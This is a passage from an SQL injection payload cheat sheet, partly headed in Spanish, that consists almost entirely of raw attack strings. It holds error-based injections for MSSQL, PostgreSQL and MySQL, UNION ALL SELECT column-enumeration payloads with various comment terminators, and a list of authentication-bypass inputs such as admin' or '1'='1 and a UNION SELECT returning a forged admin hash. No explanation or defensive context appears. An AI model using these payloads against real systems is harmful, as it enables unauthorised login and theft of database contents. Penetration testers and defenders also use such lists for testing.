HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN
(5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN
1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT
(ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY
x)a)

UNION ALL SELECT

CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+C
HAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),N
ULL–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30–
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
UNION ALL SELECT ‘INJ’||’ECT’||’XXX’,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#

Hoja de trucos para la inyección SQL: Cargas útiles para omitir la autenticación
‘-‘
‘‘
‘&’
‘^’
‘*’
‘ or ”-‘
‘ or ” ‘
‘ or ”&’
‘ or ”^’
‘ or ”*’
“-”
””
“&”
“^”
“*”
” or “”-”
” or “” ”
” or “”&”
” or “”^”
” or “”*”
or true–
” or true–
‘ or true–
“) or true–
‘) or true–
‘ or ‘x’=’x
‘) or (‘x’)=(‘x
‘)) or ((‘x’))=((‘x
” or “x”=”x
“) or (“x”)=(“x
“)) or ((“x”))=((“x
or 1=1
or 1=1–
or 1=1#
or 1=1/*
admin’ —
admin’ #
admin’/*
admin’ or ‘1’=’1
admin’ or ‘1’=’1′–
admin’ or ‘1’=’1’#
admin’ or ‘1’=’1’/*
admin’or 1=1 or ”=’
admin’ or 1=1
admin’ or 1=1–
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=’1
admin’) or (‘1’=’1′–
admin’) or (‘1’=’1’#
admin’) or (‘1’=’1’/*
admin’) or ‘1’=’1
admin’) or ‘1’=’1′–
admin’) or ‘1’=’1’#
admin’) or ‘1’=’1’/*
1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055
admin” —
admin” #
admin”/*
admin” or “1”=”1
admin” or “1”=”1″–
admin” or “1”=”1″#
admin” or “1”=”1″/*
admin”or 1=1 or “”=”
admin” or 1=1
admin” or 1=1–
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1″=”1
admin”) or (“1″=”1″–
admin”) or (“1″=”1″#
admin”) or (“1″=”1″/*
admin”) or “1”=”1
admin”) or “1”=”1″–
admin”) or “1”=”1″#
admin”) or “1”=”1″/*
1234 ” AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055